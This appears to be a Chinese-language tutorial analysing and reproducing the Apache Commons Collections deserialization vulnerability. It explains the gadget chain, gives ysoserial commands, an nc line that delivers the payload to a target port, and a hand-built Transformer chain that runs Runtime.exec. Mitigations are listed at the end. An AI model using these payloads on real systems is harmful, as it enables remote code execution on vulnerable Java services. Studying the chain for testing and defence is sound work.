插件窝 干货文章 如何进行Apache Commons Collections反序列化漏洞分析与复现

如何进行Apache Commons Collections反序列化漏洞分析与复现

序列化 Class 漏洞 Collections 922    来源:    2025-04-25

Apache Commons Collections反序列化漏洞分析与复现

漏洞概述

Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的数据结构工具类。在3.1及以下版本中存在反序列化漏洞(CVE-2015-6420),攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。

漏洞原理

漏洞的核心在于InvokerTransformer类,它可以通过反射调用任意方法。当与TransformedMapLazyMap结合使用时,恶意序列化对象在反序列化过程中会触发命令执行。

环境准备

所需工具

  1. Java开发环境(JDK 1.7或更低版本)
  2. Apache Commons Collections 3.1或更低版本
  3. 反序列化利用工具(如ysoserial)
  4. 网络抓包工具(Wireshark/Burp Suite)

漏洞环境搭建

  1. 下载有漏洞版本的Commons Collections:

    <dependency>
       <groupId>commons-collections</groupId>
       <artifactId>commons-collections</artifactId>
       <version>3.1</version>
    </dependency>
    
  2. 准备一个接受序列化数据的Java应用(如RMI服务、HTTP服务等)

漏洞分析

关键类分析

  1. InvokerTransformer: 通过反射调用任意方法

    public Object transform(Object input) {
       if (input == null) {
           return null;
       }
       try {
           Class cls = input.getClass();
           Method method = cls.getMethod(iMethodName, iParamTypes);
           return method.invoke(input, iArgs);
       } catch (Exception ex) {
           // ...
       }
    }
    
  2. TransformedMap/LazyMap: 在反序列化时自动调用transform方法

  3. AnnotationInvocationHandler: JDK内部类,在反序列化时会读取Map内容

利用链构造

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Map.entrySet().iterator().next().setValue()
      -> TransformedMap.checkSetValue()
        -> InvokerTransformer.transform()
          -> Runtime.exec()

漏洞复现步骤

方法一:使用ysoserial工具

  1. 下载ysoserial工具:

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package
    
  2. 生成payload:

    java -jar ysoserial.jar CommonsCollections1 "command_to_execute" > payload.bin
    
  3. 发送payload到目标应用(假设目标监听12345端口):

    nc target_ip 12345 < payload.bin
    

方法二:手动构造payload

  1. 创建恶意Transformer链:

    Transformer[] transformers = new Transformer[] {
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", 
           new Class[] {String.class, Class[].class}, 
           new Object[] {"getRuntime", new Class[0]}),
       new InvokerTransformer("invoke", 
           new Class[] {Object.class, Object[].class}, 
           new Object[] {null, new Object[0]}),
       new InvokerTransformer("exec", 
           new Class[] {String.class}, 
           new Object[] {"calc.exe"})
    };
    Transformer chain = new ChainedTransformer(transformers);
    
  2. 创建TransformedMap:

    Map innerMap = new HashMap();
    innerMap.put("value", "doesntmatter");
    Map outerMap = TransformedMap.decorate(innerMap, null, chain);
    
  3. 使用AnnotationInvocationHandler触发:

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Override.class, outerMap);
    
  4. 序列化并发送payload

防护措施

  1. 升级Apache Commons Collections到3.2.2或更高版本
  2. 使用SerialKiller等工具过滤危险的序列化类
  3. 在ObjectInputStream上配置自定义的ObjectInputFilter
  4. 避免反序列化不可信数据

注意事项

  1. 此漏洞复现仅用于合法安全研究和授权测试
  2. 在实际环境中测试前必须获得明确授权
  3. 复现过程可能对目标系统造成影响,建议在隔离环境中进行

扩展研究

  1. 分析不同Java版本下的利用差异
  2. 研究其他利用链(如CommonsCollections2-6)
  3. 探索在真实应用(如WebLogic、JBoss等)中的利用方式